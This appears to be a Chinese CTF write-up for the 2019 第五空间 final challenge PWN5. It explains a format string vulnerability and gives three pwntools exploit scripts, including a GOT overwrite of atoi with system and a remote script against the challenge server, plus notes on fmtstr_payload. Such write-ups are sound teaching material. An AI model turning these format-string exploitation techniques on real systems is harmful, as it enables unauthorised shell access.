第五空间2019 决赛 - PWN5笔记与借鉴

First Post:

Last Update:

逻辑是简单的:

系统生成一个随机数,并让用户分别输入用户名与密码,当密码与随机数相同时成功。

大佬给出的思路:

思路1:直接利用格式化字符串改写unk_804C044之中的数据,然后输入数据对比得到shell

思路2:利用格式化字符串改写atoi的got地址,将其改为system的地址,配合之后的输入,得*到shell。这种方法具有普遍性,也可以改写后面的函数的地址,拿到shell

思路3:bss段的unk_804C044,是随机生成的,而我们猜对了这个参数,就可以执行system(“/bin/sh”),刚好字符串格式化漏洞可以实现改写内存地址的值

1
2
3
4
5
6
7
8
9
10
11
12
#exp1
from pwn import *
p = process('./pwn5')
addr = 0x0804C044
#地址,也就相当于可打印字符串,共16byte
payload = p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)
#开始将前面输出的字符个数输入到地址之中,hhn是单字节输入,其偏移为10
#%10$hhn就相当于读取栈偏移为10的地方的数据,当做地址,然后将前面的字符数写入到地址之中
payload += "%10$hhn%11$hhn%12$hhn%13$hhn"
p.sendline(payload)
p.sendline(str(0x10101010))
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

p = process('./pwn5')
elf = ELF('./pwn5')

atoi_got = elf.got['atoi']
system_plt = elf.plt['system']

payload=fmtstr_payload(10,{atoi_got:system_plt})

p.sendline(payload)
p.sendline('/bin/sh\x00')

p.interactive()
1
2
3
4
5
6
7
8
9
from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",26486)

unk_804C044 = 0x0804C044
payload=fmtstr_payload(10,{unk_804C044:0x1111})
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd",str(0x1111))
p.interactive()

主要是想要记录一下 fmtstr_payload 函数这个神奇的操作

可以参考:Pwntools—fmtstr_payload()介绍

该函数根据设定生成一个用于改写指定地址数据的payload(注:节区需要拥有写权限)

第二第三个思路的exp都运用了这种方法

第一个参数的来源:输入AAAA%10$p将会得到0x41414141,这里的10即是第一个参数,即从该偏移开始填充输入值

第二个参数则是原值与替换值的字典形式

还有第三第四参数,但并不常用,暂时不记录

插画ID:90640803